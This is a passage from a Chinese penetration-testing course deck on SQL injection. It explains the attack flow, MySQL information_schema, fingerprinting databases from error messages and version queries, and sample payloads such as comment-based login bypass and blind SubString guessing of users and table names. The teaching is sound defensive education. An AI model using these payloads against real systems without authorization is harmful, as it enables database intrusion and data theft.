Web基礎(chǔ)滲透與防護(第2版)課件 項目五SQL注入攻擊與防御_第1頁
Web基礎(chǔ)滲透與防護(第2版)課件 項目五SQL注入攻擊與防御_第2頁
Web基礎(chǔ)滲透與防護(第2版)課件 項目五SQL注入攻擊與防御_第3頁
Web基礎(chǔ)滲透與防護(第2版)課件 項目五SQL注入攻擊與防御_第4頁
Web基礎(chǔ)滲透與防護(第2版)課件 項目五SQL注入攻擊與防御_第5頁
已閱讀5頁,還剩135頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

項目五

SQL注入攻擊與防御5.1項目描述 5.2項目分析 5.3項目小結(jié) 5.4項目訓練 5.5實訓任務 5.1項目描述SVU?公司新開發(fā)了基于Web的用戶管理系統(tǒng),可以通過??使用用戶?ID?進行信息查詢滲透測試工程師小?D?負責測試該項功能的安全,并提出針對性的加固方案。因此,小?D?需要了解?SQL?注入攻擊的基礎(chǔ)知?識。本項目的具體要求如下:(1)測試注入點類型;(2)測試?SQL?注入繞過方法;(3)測試是否可以控制服務器;(4)針對測試結(jié)果,給出加固方?案。5.2項目分析SQL

注入攻擊是攻擊者對數(shù)據(jù)庫進行攻擊的常用手段之一,也是最有效的攻擊手段之一。這是因為,通過?Web?客戶端注入的?SQL?命令與原有功能需要執(zhí)行的?SQL?命令是相同的,瀏覽器與防火墻等安全設(shè)備不能阻斷?SQL?命令的執(zhí)行,數(shù)據(jù)庫服務器同樣無法阻斷對注入的?SQL?命令的解析與執(zhí)行。防御?SQL?注入攻擊的方法是降低數(shù)據(jù)庫連接用戶的權(quán)限,對需要執(zhí)行的?SQL?命令進行嚴格的代碼審計。針對上述情況,本項目的任務布置如?下:5.2項目分析項目目標(1)了解SQL注入的基本原理。(2)掌握不同數(shù)據(jù)庫識別的方法與原理。(3)掌握不同數(shù)據(jù)庫的特點。(4)利用SQL注入完成對MySQL數(shù)據(jù)庫的滲透測試。(5)學會程序設(shè)計中防御SQL注入攻擊的基本方法。5.2項目實施流程項目任務列表(1)利用簡單的SQL注入實驗分析攻擊原理。(2)利用PHP程序搜索實現(xiàn)對MySQL數(shù)據(jù)庫的注入。(3)分析非文本框輸入方式的SQL注入方法。(4)分析針對返回固定錯誤信息的滲透方法。(5)利用SQL注入漏洞對文件進行讀/寫。(6)利用sqlmap完成SQL注入。(7)防范SQL注入攻擊。

5.2項目實施流程SQL注入攻擊典型流程發(fā)現(xiàn)注入點數(shù)據(jù)庫類型判斷表結(jié)構(gòu)判斷獲取數(shù)據(jù)獲取賬號上傳Websehll提權(quán)(1)判斷?Web?系統(tǒng)使用的腳本語言,發(fā)現(xiàn)注入點,并確定是否存在?SQL?注入漏?洞。(2)判斷?Web?系統(tǒng)的數(shù)據(jù)庫類?型。(3)判斷數(shù)據(jù)庫中表及相應字段的結(jié)?構(gòu)。(4)構(gòu)造注入語句,得到表中數(shù)據(jù)內(nèi)?容。(5)查找網(wǎng)站管理員后臺,使用得到的管理員賬號和密碼登?錄。(6)結(jié)合其他漏洞,想辦法上傳一個?Webshell。(7)進一步提權(quán),得到服務器的系統(tǒng)權(quán)?限。5.2項目實施流程認識SQL注入SQL注入概念:所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執(zhí)行惡意的SQL命令。項目相關(guān)知識點5.2項目實施流程SQL注入產(chǎn)生的原因基本所有電子商務應用程序都使用數(shù)據(jù)庫來存儲信息。不論是產(chǎn)品信息,賬目信息還是其它類型的數(shù)據(jù),數(shù)據(jù)庫都是Web應用環(huán)境中非常重要的環(huán)節(jié)。SQL命令就是前端Web和后端數(shù)據(jù)庫之間的接口,使得數(shù)據(jù)可以傳遞到Web應用程序,也可以從其中發(fā)送出來。需要對這些數(shù)據(jù)進行控制,保證用戶只能得到授權(quán)給他的信息??墒牵芏郬eb站點都會利用用戶輸入的參數(shù)動態(tài)的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應用程序,從而可以對數(shù)據(jù)庫進行不受限的訪問。因為SQL查詢經(jīng)常用來進行驗證、授權(quán)、訂購、打印清單等,所以,允許攻擊者任意提交SQL查詢請求是非常危險的。通常,攻擊者可以不經(jīng)過授權(quán),使用SQL輸入從數(shù)據(jù)庫中獲取信息。5.2項目實施流程SQL注入使用的時機當Web應用向后端的數(shù)據(jù)庫提交輸入時,就可能遭到SQL注入攻擊。可以將SQL命令人為的輸入到URL、表格域,或者其他一些動態(tài)生成的SQL查詢語句的輸入?yún)?shù)中,完成上述攻擊。因為大多數(shù)的Web應用程序都依賴于數(shù)據(jù)庫的海量存儲和相互間的邏輯關(guān)系(用戶權(quán)限許可,設(shè)置等),所以,每次的查詢中都會存在大量的參數(shù)。5.2項目實施流程MySQL介紹:SQL是結(jié)構(gòu)化查詢語言的簡稱,它是全球通用的標準數(shù)據(jù)庫查詢語言,主要用于關(guān)系型數(shù)據(jù)的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等。常用命令如下:1)命令:select 功能:用于查詢記錄和賦值范例:selecti,j,kfromA(i,j,k是表A中僅有的列名)selecti='1'(將i賦值為字符1)Select*fromA(含義同第一個例句)2)命令:update 功能:用于修改記錄

范例:updateAseti=2wherei=1(修改A表中i=1的i值為2)5.2項目實施流程3)命令:insert 功能:用于添加記錄

范例:insertintoAvalues(1,'2',3)(向A表中插入一條記錄(i,j,k)對應為(1,'2',3))4)命令:delete 功能:用于刪除記錄

范例:deleteAwherei=2(刪除A標中i=2的所有表項)5)命令:from 功能:用于指定操作的對象名(表,視圖,數(shù)據(jù)庫等的名稱)范例:見select6)命令:where 功能:用于指定查詢條件

范例:select*fromA,BwhereA.name=B.nameandA.id=B.id7)命令:and 功能:邏輯與

范例:1=1and2<=25.2項目實施流程8)命令:or功能:邏輯或

范例:1=1or1>29)命令:not 功能:邏輯非

范例:not1>110)命令:= 功能:相等關(guān)系或賦值

范例:見and、or、not11)命令:>,>=,<,<= 功能:關(guān)系運算符

范例:與相等關(guān)系('=')的用法一致。12)命令:單引號(“'”) 功能:用于指示字符串型數(shù)據(jù)

范例:見select5.2項目實施流程13)命令:逗號

功能:分割相同的項

范例:見select14)命令:* 功能:通配符所有

范例:見select15)命令:--功能:行注釋

范例:--這里的語句將不被執(zhí)行!16)命令:/**/ 功能:塊注釋

范例:/*這里的語句將不被執(zhí)行!*/5.2項目實施流程MySQL是一個快速而又健壯的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)(RDBMS)。數(shù)據(jù)庫允許使用者高效地存儲、搜索、排序和檢索數(shù)據(jù)。MySQL服務器控制用戶對數(shù)據(jù)的訪問,從而確保多用戶可以并發(fā)地使用它,同時提供快速訪問,并且確保只有通過驗證的用戶才能獲得數(shù)據(jù)訪問權(quán)限。因此,MySQL是一個多用戶、多線程的服務器。它使用了結(jié)構(gòu)化查詢語言(SQL)。MySQL是世界上最受歡迎的開放源代碼數(shù)據(jù)庫之一。MySQL的主要競爭產(chǎn)品包括PostgreSQL、MicrosoftSQLServer和Oracle。MySQL具有許多優(yōu)點,如高性能、低成本、易于配置和學習、可移植性、源代碼可供使用等。

5.2項目實施流程information_schema數(shù)據(jù)庫是MySQL自帶的數(shù)據(jù)庫,它提供了數(shù)據(jù)庫元數(shù)據(jù)的訪問方式。information_schema就像是MySQL實例的百科全書,記錄了數(shù)據(jù)庫中大部分用戶需要了解的信息,如字符集、數(shù)據(jù)庫實體對象信息、外檢約束、分區(qū)、壓縮表、表信息、索引信息、參數(shù)、優(yōu)化、鎖和事務等。用戶可以通過information_schema了解MySQL實例的運行情況和基本信息。5.2項目實施流程關(guān)于字符集和排序規(guī)則相關(guān)的系統(tǒng)表CHARACTER_SETS:存儲數(shù)據(jù)庫相關(guān)字符集信息(memory存儲引擎)COLLATIONS:字符集對應的排序規(guī)則COLLATION_CHARACTER_SET_APPLICABILITY:就是一個字符集和連線校對的一個對應關(guān)系而已

字符集(charactersets)存儲字符串,是指人類語言中最小的表義符號。例如’A'、’B’等;

排序規(guī)則(collations)規(guī)則比較字符串,collations是指在同一字符集內(nèi)字符之間的比較規(guī)則

每個字符序唯一對應一種字符集,但一個字符集可以對應多種字符序,其中有一個是默認字符序(DefaultCollation)35.2項目實施流程MySQL中的字符序名稱遵從命名慣例:以字符序?qū)淖址Q開頭;以_ci(表示大小寫不敏感)、_cs(表示大小寫敏感)或_bin(表示按編碼值比較)結(jié)尾。例如:在字符序“utf8_general_ci”下,字符“a”和“A”是等價的。看一下有關(guān)于字符集和校對相關(guān)的MySQL變量:character_set_server:默認的內(nèi)部操作字符集character_set_client:客戶端來源數(shù)據(jù)使用的字符集character_set_connection:連接層字符集character_set_results:查詢結(jié)果字符集character_set_database:當前選中數(shù)據(jù)庫的默認字符集character_set_system:系統(tǒng)元數(shù)據(jù)(字段名等)字符集5.2項目實施流程權(quán)限相關(guān)的一些表SCHEMA_PRIVILEGES:提供數(shù)據(jù)庫的相關(guān)權(quán)限,這個表是內(nèi)存表,是從mysql.db中取出來的。TABLE_PRIVILEGES:提供表權(quán)限相關(guān)信息,這些信息是從mysql.tables_priv表中加載的。COLUMN_PRIVILEGES:用戶從這個表中可以清楚地看到表授權(quán)的用戶對象,哪張表哪個庫,以及授予什么權(quán)限,如果授權(quán)的時候加上withgrantoption,用戶會看到PRIVILEGE_TYPE這個值是YES。USER_PRIVILEGES:提供表權(quán)限相關(guān)信息,這些信息是從mysql.user表中加載的。通過上面這些表可以很清晰地看到MySQL授權(quán)的層次,這在某些應用場景下還是很有用的,如審計等。5.2項目實施流程存儲數(shù)據(jù)庫系統(tǒng)的實體對象的一些表COLUMNS:存儲表的字段信息。INNODB_SYS_COLUMNS:存儲的是INNODB的元數(shù)據(jù),它是依賴SYS_COLUMNS這個統(tǒng)計表而存在的。ENGINES:引擎類型,如是否支持分布式事務,是否支持事務的回滾點等。EVENTS:記錄MySQL中的事件,類似于定時作業(yè)。FILES:這個表是內(nèi)存表,其中的數(shù)據(jù)是從InnoDBin-memory中取出來的,每次重啟要重新進行獲取。PARAMETERS:參數(shù)表,存儲一些存儲過程和方法的參數(shù),以及存儲過程的返回值信息。5.2項目實施流程PLUGINS:存儲MySQL的插件信息。ROUTINES:記錄關(guān)于存儲過程和方法的一些信息,不包括用戶自定義的信息。SCHEMATA:這個表提供了實例下有多少個數(shù)據(jù)庫,以及數(shù)據(jù)庫默認的字符集。TRIGGERS:存儲觸發(fā)器的信息,包括系統(tǒng)觸發(fā)器和用戶創(chuàng)建的觸發(fā)器。VIEWS:存儲視圖的信息。5.2項目實施流程約束外鍵等相關(guān)的一些表:REFERENTIAL_CONSTRAINTS:提供外鍵的相關(guān)信息。TABLE_CONSTRAINTS:提供相關(guān)的約束信息。INNODB_SYS_FOREIGN_COLS:存儲INNODB關(guān)于外鍵的元數(shù)據(jù)信息,與SYS_FOREIGN_COLS存儲的信息是一致的。INNODB_SYS_FOREIGN:存儲INNODB關(guān)于外鍵的元數(shù)據(jù)信息,與SYS_FOREIGN_COLS存儲的信息是一致的。KEY_COLUMN_USAGE:存儲數(shù)據(jù)庫中所有有約束的列,也會記錄約束的名字和類別。5.2項目實施流程關(guān)于管理的表:GLOBAL_STATUS、GLOBAL_VARIABLES、SESSION_STATUS、SESSION_VARIABLES:這4個表分別記錄了系統(tǒng)的變量和狀態(tài)(全局和會話的信息),它們也是內(nèi)存表。PARTITIONS:存儲MySQL分區(qū)表的相關(guān)信息,通過它可以查詢分區(qū)的相關(guān)信息(數(shù)據(jù)庫中已分區(qū)的表,以及分區(qū)表的分區(qū)和每個分區(qū)的數(shù)據(jù)信息)。PROCESSLIST:showprocesslist其實就是從這個表中獲取數(shù)據(jù),這個表也是內(nèi)存表,等價于在內(nèi)存中進行數(shù)據(jù)處理,所以速度快。INNODB_CMP_PER_INDEX、INNODB_CMP_PER_INDEX_RESET:這兩個表中存儲的是INNODB壓縮表的相關(guān)信息,包括整個表和索引信息。INNODB壓縮表中不管是數(shù)據(jù)還是二級索引都會被壓縮,因為數(shù)據(jù)本身也可以看作一個聚集索引。5.2項目實施流程INNODB_CMPMEM、INNODB_CMPMEM_RESET:這兩個表用于存放關(guān)于MySQLINNODB的壓縮頁的bufferpool信息,這兩個表默認是關(guān)閉狀態(tài)。要打開它們,需要設(shè)置innodb_cmp_per_index_enabled參數(shù)為ON狀態(tài)。INNODB_BUFFER_POOL_STATS:該表提供有關(guān)INNODB的bufferpool相關(guān)信息,和showengineinnodbstatus提供的信息是相同的,也是showengineinnodbstatus的信息來源。INNODB_BUFFER_PAGE_LRU、INNODB_BUFFER_PAGE:維護INNODBLRULIST的相關(guān)信息。INNODB_BUFFER_PAGE:用于存儲buffer緩沖的頁數(shù)據(jù)。查詢這個表會對系統(tǒng)性能產(chǎn)生嚴重的影響。INNODB_SYS_DATAFILES:該表記錄表中文件存儲的位置和表空間的對應關(guān)系。INNODB_TEMP_TABLE_INFO:這個表中記錄所有INNODB的所有用戶用到的信息,但是只能記錄內(nèi)存中的信息和沒有持久化的信息。5.2項目實施流程INNODB_METRICS:提供INNODB的各種性能指數(shù),是對INFORMATION_SCHEMA的補充,收集的是MySQL的系統(tǒng)統(tǒng)計信息,這些統(tǒng)計信息都可手動打開或關(guān)閉。參數(shù)innodb_monitor_enable、innodb_monitor_disable、innodb_monitor_reset、innodb_monitor_reset_all是可以控制的。INNODB_SYS_VIRTUAL:該表存儲的是INNODB表的虛擬列的信息。在MySQL5.7中,支持兩種GeneratedColumn,即VirtualGeneratedColumn和StoredGeneratedColumn。前者只將GeneratedColumn保存在數(shù)據(jù)字典中(表的元數(shù)據(jù)),并不會將這一列數(shù)據(jù)持久化到磁盤上;后者會將GeneratedColumn持久化到磁盤上,而不是每次讀取的時候計算所得。后者存放通過已有數(shù)據(jù)計算后的數(shù)據(jù),需要更多的磁盤空間,與實際存儲一列數(shù)據(jù)相比并沒有優(yōu)勢。因此,在MySQL5.7中,如不指定GeneratedColumn的類型,則默認是VirtualGeneratedColumn。INNODB_CMP、INNODB_CMP_RESET:用于存儲壓縮INNODB信息表時的相關(guān)信息。5.2項目實施流程與信息和索引相關(guān)的?表:

TABLES,TABLESPACES,INNODB_SYS_TABLES,INNODB_SYS_TABLESPACES:TABLES:記錄數(shù)據(jù)庫中表的信息,其中包括系統(tǒng)數(shù)據(jù)庫和用戶創(chuàng)建的數(shù)據(jù)庫。showtablestatuslike'test1'\G的數(shù)據(jù)來源就是這個表。TABLESPACES:標注的活躍表空間。INNODB_SYS_TABLES:該表依賴SYS_TABLES數(shù)據(jù)字典中獲取的表,提供關(guān)于INNODB的表空間信息,和SYS_TABLESPACES中的INNODB信息是一致的。STATISTICS:提供關(guān)于表的索引信息。INNODB_SYS_INDEXES:提供INNODB表的索引信息,和SYS_INDEXES這個表中存儲的信息基本是一樣的,只不過后者提供的是所有存儲引擎的索引信息。5.2項目實施流程INNODB_SYS_TABLESTATS:此表比較重要,記錄MySQL的INNODB表信息。INNODB_SYS_FIELDS:此表用于記錄INNODB的表索引字段信息,以及字段的排名。INNODB_FT_CONFIG:此表用于存儲全文索引的信息。INNODB_FT_DEFAULT_STOPWORD:此表用于存放STOPWORD的信息,是和全文索引匹配使用的。STOPWORD是停止詞,必須在創(chuàng)建索引之前創(chuàng)建,且必須指定字段為varchar。全文檢索時,停止詞列表將會被讀取和檢索。INNODB_FT_INDEX_TABLE:此表用于存儲索引使用信息,一般情況下是空的。INNODB_FT_INDEX_CACHE:此表用于存放插入前的記錄信息。5.2項目實施流程關(guān)于MySQL優(yōu)化相關(guān)的一些表OPTIMIZER_TRACE:提供優(yōu)化跟蹤功能產(chǎn)生的信息。PROFILING:用于查看服務器執(zhí)行語句的工作情況。SHOWPROFILES:顯示最近發(fā)給服務器的多條語句,條數(shù)由會話變量profiling_history_size定義,默認是15,最大值為100。設(shè)為0等價于關(guān)閉分析功能。INNODB_FT_BEING_DELETED、INNODB_FT_DELETED:INNODB_FT_BEING_DELETED是INNODB_FT_DELETED的一個快照,只在OPTIMIZETABLE過程中才會使用。5.2項目實施流程關(guān)于MySQL事物和鎖的相關(guān)的一些表INNODB_LOCKS:當前獲取的鎖,僅針對INNODB。INNODB_LOCK_WAITS:系統(tǒng)鎖等待的相關(guān)信息。INNODB_TRX:所有正在執(zhí)行的事務的相關(guān)信息(INNODB)。5.2項目實施流程(1)方法1任何輸入,不論是Web頁面中的表格域,還是一條SQL查詢語句中API的參數(shù),都有可能遭受SQL注入攻擊。如果沒有采取適當?shù)姆婪洞胧?,那么攻擊只有在攻擊者對?shù)據(jù)庫的設(shè)計和查詢操作的結(jié)構(gòu)了解不夠充分的情況下才有可能失敗。SQL在Web應用程序中的常見用途就是查詢產(chǎn)品信息。應用程序通過CGI參數(shù)建立鏈接,在隨后的查詢中被引用。例如,以下鏈接用來獲得編號為113的產(chǎn)品詳細信息:http://www.shopping****.com/goodslist/itemdetail.asp?id=113應用程序需要知道用戶希望得到哪種產(chǎn)品的信息,所以瀏覽器會發(fā)送一個標識符,通常稱為ID。隨后,應用程序動態(tài)地將其包含到SQL查詢請求中,以便于從數(shù)據(jù)庫中找到正確的行。下面的查詢語句用來從產(chǎn)品數(shù)據(jù)表中獲取指定ID的產(chǎn)品信息,包括產(chǎn)品名稱、產(chǎn)品圖片、描述和價格:SELECTname,picture,descrIPtion,priceFROMgoodsWHEREid=1135.2項目實施流程但是用戶可以在瀏覽器中輕易地修改信息。設(shè)想一下,作為某個?Web?站點的合法用戶,在登錄這個站點的時候輸入?ID?和密碼。下面的?SQL?查詢語句將返回合法用戶的賬戶金額信?息:SELECTaccountdataFROMuserinfoWHEREusername='account'ANDpassword='passwd'上面的?SQL?查詢語句中唯一受用戶控制的部分就是單引號中的字符串。這些字符串就是用戶在?Web?表格中輸入的內(nèi)容。Web?應用程序自動生成了查詢語句的剩余部分。通常,其他用戶在查看此賬號信息時,需要同時知道?ID?和密碼,但通過?SQL?注入的攻擊者可以繞過全部檢?查。例如,當攻擊者知道系統(tǒng)中存在一個叫作?Tom?的用戶時,他會將下面的內(nèi)容輸入用戶賬號的表格域:Tom'--。目的是在?SQL?請求中使用注釋符“--”,這將會動態(tài)地生成如下的?SQL?查詢語句:SELECTaccountdataFROMuserinfoWHEREusername='Tom'--'ANDpassword='passwd'5.2項目實施流程由于“--”符號表示注釋,其后的內(nèi)容都被忽略,那么實際的語句如下:SELECTaccountdataFROMuserinfoWHEREusername='Tom'攻擊者沒有輸入Tom的密碼,卻從數(shù)據(jù)庫中查到了用戶Tom的全部信息。注意這里所使用的語法,作為用戶,可以在用戶名之后使用單引號。這個單引號也是SQL查詢請求的一部分,這就意味著,可以改變提交到數(shù)據(jù)庫的查詢語句結(jié)構(gòu)。在上面的案例中,查詢操作本來應該在用戶名和密碼都正確的情況下才能進行,而輸入的注釋符將一個查詢條件移除了,這嚴重危及查詢操作的安全性。允許用戶通過這種方式修改Web應用中的代碼,是非常危險的。5.2項目實施流程(2)方法2一般的應用程序?qū)?shù)據(jù)庫進行的操作都是通過SQL語句進行的,如查詢表A中num=8的用戶的所有信息,通過下面的語句來進行:select*fromAwherenum=8對應頁面地址可能是/list.jsp?num=8。一個復合條件的查詢語句如下:select*fromAwhereid=8andname='k'對應頁面地址可能是/aaa.jsp?id=8&name=k。通常,數(shù)據(jù)庫應用程序中where子句后面的條件部分都是在程序中按需要動態(tài)創(chuàng)建的,如下面的方法:StringstrID=request.getParameter("id");//獲得請求參數(shù)id的字符串值StringstrName=request.getParameter("name");//獲得請求參數(shù)name的字符串值Stringstr="select*fromAwhereid="+strID+"andname=\'"+strName+"\'";//執(zhí)行數(shù)據(jù)庫操作

5.2項目實施流程當strID、strName

從前臺獲得的數(shù)據(jù)中包含“'”“and1=1”“or1=1”“--”時,就會出現(xiàn)具有特殊意義的SQL語句。當包含“id=8--”時,上面的頁面地址變?yōu)?aaa.jsp?id=8--&&name=k。對應的語句變成

select*fromAwhereid=8--andname='k'。這里,“--”后面的條件andname='k'不會被執(zhí)行,因為它被“--”注釋了。下面這個例子能夠說明SQL注入攻擊的危害性。MicrosoftSQLServer2000中的user變量,用于存儲當前登錄的用戶名,因此可以通過猜解它來獲得當前數(shù)據(jù)庫用戶名,從而確定當前數(shù)據(jù)庫的操作權(quán)限是不是最高用戶權(quán)限。攻擊者在一個可以注入的頁面請求地址后面加上下面的語句,通過修改數(shù)值范圍,截取字符的位置,并重復嘗試,就可以猜解出當前數(shù)據(jù)庫連接的用戶名:and(SubString(user,1,1)>65andSubString(user,1,1)<90)如果正常返回,則說明當前數(shù)據(jù)庫操作用戶名的前一個字符在A~Z的范圍內(nèi),逐步縮小猜解范圍,就可以確定猜解內(nèi)容。SubString()是MicrosoftSQLServer2000數(shù)據(jù)庫中提供的系統(tǒng)函數(shù),用于獲取字符串的子串。65和90分別是字母A和Z的ASCII碼。5.2項目實施流程在數(shù)據(jù)庫中查找用戶表(需要一定的數(shù)據(jù)庫操作權(quán)限),可以使用下面的復合語句:and(selectcount(*)fromsysobjectswherextype='u')>nn取1,2,…,通過上面的語句可以判斷數(shù)據(jù)庫中有多少個用戶表??梢酝ㄟ^and(substring((selecttop1namefromsysobjectswherextype='u'),1,1)=字符)的形式逐步猜解出表名。利用構(gòu)建的SQL注入語句,可以查詢出數(shù)據(jù)庫中的大部分信息,只要構(gòu)建的語句能夠欺騙被注入程序按注入者的意圖執(zhí)行,并能夠正確分析程序返回的信息,注入者就可以控制整個系統(tǒng)?;诰W(wǎng)頁地址的SQL注入只是利用了頁面地址攜帶參數(shù)這一性質(zhì),來構(gòu)建特殊的SQL語句,以實現(xiàn)對Web應用程序的惡意操作(查詢、修改、添加等)。事實上,SQL注入不一定只針對瀏覽器地址欄中的URL。任何一個數(shù)據(jù)庫應用程序?qū)η芭_傳入數(shù)據(jù)的處理不當都會產(chǎn)生SQL注入漏洞,如一個網(wǎng)頁表單的輸入項、應用程序中文本框的輸入信息等。5.2項目實施流程SQL注入數(shù)據(jù)庫類型識別要想成功發(fā)動SQL注入攻擊,最重要的是知道應用正在使用的數(shù)據(jù)庫服務器類型,可以快速準確的針對性注入。Web應用技術(shù)將為我們提供首條線索。例如,ASP和.NET通常使用MicrosoftSQLServer作為后臺數(shù)據(jù)庫,而PHP應用則很可能使用MySQL或PostgreSQL。使用Java編寫的應用,可能使用Oracle或MySQL數(shù)據(jù)庫。底層操作系統(tǒng)也可以提供一些線索。安裝IIS作為信息服務器平臺標志著應用基于Windows架構(gòu),后臺數(shù)據(jù)庫可能為MicrosoftSQLServer。運行Apache和PHP的Linux服務器則很可能使用的是開源數(shù)據(jù)庫,如MySQL或PostgreSQL。在開展跟蹤工作時應不僅僅考慮這些因素,管理員要將不同技術(shù)以不平常的方式組合起來使用。5.2項目實施流程識別數(shù)據(jù)庫類型最好的方式在很大程度上取決于是否處于盲態(tài)。如果應用程序返回查詢結(jié)果和數(shù)據(jù)庫服務器錯誤消息,那么跟蹤會相當簡單,可以很容易地通過輸出結(jié)果來了解關(guān)于底層技術(shù)的信息。但如果處于盲態(tài),無法讓應用返回數(shù)據(jù)庫服務器錯誤消息,那么就需要改變方法,嘗試注入多種已知的、只針對特定技術(shù)才能執(zhí)行的查詢語句。通過判斷這些查詢語句中的哪一條被成功執(zhí)行,就可獲取當前數(shù)據(jù)庫類型的準確信息。(1)非盲跟蹤多數(shù)情況下,要了解后臺數(shù)據(jù)庫服務器,只需要查看一條足夠詳細的錯誤消息即可。根據(jù)執(zhí)行查詢所使用的數(shù)據(jù)庫服務器技術(shù)的不同,這條由同類型SQL錯誤產(chǎn)生的消息也會各不相同。例如,添加單引號將迫使數(shù)據(jù)庫服務器將單引號后面的字符看作字符串而非SQL代碼,這會產(chǎn)生一條語法錯誤。對與MicrosoftSQLServer來說,最終的錯誤消息如下所示:

5.2項目實施流程

很難想象事情競?cè)绱撕唵?,錯誤消息中明確提到了“SQLServer",還附加了一些關(guān)于出錯內(nèi)容的有用細節(jié)。在后面構(gòu)造正確的查詢時,這些信息會很有幫助。而MySQL5.0產(chǎn)生的語法錯誤則可能如下所示:這里的錯誤消息也包含了清晰的、關(guān)于數(shù)據(jù)庫服務器技術(shù)的線索。其他錯誤可能用處不大,但通常這不是問題。請注意后面這條錯誤消息開頭部分的兩個錯誤代碼。這些代碼本身就是MySQL的“簽名”。例如,當嘗試從同一MySQL上一張不存在的表中提取數(shù)據(jù)時,會收到下列錯誤:

5.2項目實施流程ERROR1146(42S02):Table’foo.bar'doesn’texist不難發(fā)現(xiàn),數(shù)據(jù)庫通常事先為每條錯誤消息規(guī)劃了一個編碼,用于唯一地標識錯誤類型。再看一個例子,有可能猜出產(chǎn)生下列錯誤的數(shù)據(jù)庫服務器:ORA-01773:maynotspecifycolumndatatypesinthisCREATETABLE開頭的“ORA”即為提示信息:安裝的是Oracle!提供了一個完整的Oracle錯誤消息庫。然而有時,具有啟示意義的關(guān)鍵信息并非來自于數(shù)據(jù)庫服務器本身,而是來自于訪問數(shù)據(jù)庫的技術(shù)。例如,請看下面的錯誤:Pg_query():Queryfailed:ERROR:unterminatedquotedstringatornear"'"atcharacter69in/var/www/php/somepge.phponline20這里并沒有提及數(shù)據(jù)庫服務器技術(shù),但是有一個特定數(shù)據(jù)庫產(chǎn)品所獨有的錯誤代碼。PHP使用pg_query函數(shù)(以及己經(jīng)棄用的版本pg_exec函數(shù))對PostgreSQL數(shù)據(jù)庫執(zhí)行查詢,因此可以立即推斷出后臺運行的數(shù)據(jù)庫服務器是PostgreSQL。5.2項目實施流程獲取標志信息從錯誤消息中可以獲取相當準確的關(guān)于Web應用保存數(shù)據(jù)所使用技術(shù)的信息。但這些信息還不夠,需要獲取更多信息。例如,在前面第一個例子中,我們發(fā)現(xiàn)遠程數(shù)據(jù)庫為SQLServer,但該產(chǎn)品包含很多種版本;最通用的版本為SQLServer2005和2008但仍然有很多應用使用的是SQLServer2000。如果能夠發(fā)現(xiàn)更多細節(jié)信息,比如準確版本和補丁級別,那么將有助于快速了解遠程數(shù)據(jù)庫是否存在一些可利用的、眾所周知的漏洞。如果Web應用返回了所注入查詢的結(jié)果,要弄清其準確技術(shù)通常會很容易。所有主流數(shù)據(jù)庫技術(shù)都至少允許通過一條特定的查詢來返回軟件的版本信息。要做的是讓Web應用返回該查詢的結(jié)果。下表中給出了各種特定技術(shù)所對應的查詢示例,它們將返回包含準確數(shù)據(jù)庫服務器版本信息的字符串。

5.2項目實施流程數(shù)據(jù)庫服務器查詢MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()例如,對SQLServer2008RTM,執(zhí)行SELECT@@version查詢時,將得到下列信息:5.2項目實施流程這里面包含了很多的信息。不僅包含了SQLServer的精確版本和補丁級別,還包含了數(shù)據(jù)庫安裝于其上的操作系統(tǒng)的信息。比如“NT5.2”指的是WindowsServer2003,在上面安裝了ServicePack2補丁。MicrosoftSQLServer產(chǎn)生的消息非常詳細,因而要想產(chǎn)生一條包含@@version值的消息并不難。例如,對于數(shù)字型注入,只需簡單地在應用希望得到數(shù)字值的地方注入該變量名就可以觸發(fā)一個類型轉(zhuǎn)換錯誤。參考例子URL:http://www./products.asp?id=@@version。MicrosoftSQLServer并不是唯一會返回底層操作系統(tǒng)和系統(tǒng)架構(gòu)信息的數(shù)據(jù)庫,PostgreSQL數(shù)據(jù)庫也會返回大量信息。比如運行SELECTversion()查詢的返回結(jié)果:PostgreSQL9.1.1oni686-pc-linux-gnu,compiledbyi686-pc-linuxqnu-gcc(GentooHardened4.4.5p1.2,pie一0.9.5,32-bit)5.2項目實施流程從上面的信息中,可以知道PostgreSQL數(shù)據(jù)庫的版本,還知道了底層Linux操作系統(tǒng)的種類(HardenedGentoo)、系統(tǒng)架構(gòu)(32位),以及用于編譯數(shù)據(jù)庫服務器自身的編譯器的版本(gcc4.4.5)。在某些情況下,所有這些信息都可能變得非常有用,比如在執(zhí)行SQL注入之后,我們發(fā)現(xiàn)了某種內(nèi)存讀取錯誤(memorycorruptionbug)漏洞,并且想利用它在操作系統(tǒng)層級擴展攻擊的影響。

5.2項目實施流程盲跟蹤如果應用不直接在響應中返回所需要的信息,要想了解后臺使用的技術(shù),就需要采用一種間接方法。這種間接方法基于不同數(shù)據(jù)庫服務器所使用的SQL“方言”上的細微差異。最常用的技術(shù)是利用不同產(chǎn)品在連接字符串方式上的差異。以下面的簡單查詢?yōu)槔篠ELECT'somestring'該查詢對主流數(shù)據(jù)庫服務器都是有效的,但如果想將其中的字符串分成兩個子串,不同產(chǎn)品間便會出現(xiàn)差異。具體來講,可以利用下表列出的差異來進行推斷5.2項目實施流程因此,如果擁有個可注入的字符串參數(shù),便可以嘗試不同的連接語法。通過判斷哪一個請求會返回與原始請求相同的結(jié)果,可以推斷出遠程數(shù)據(jù)庫的技術(shù)。

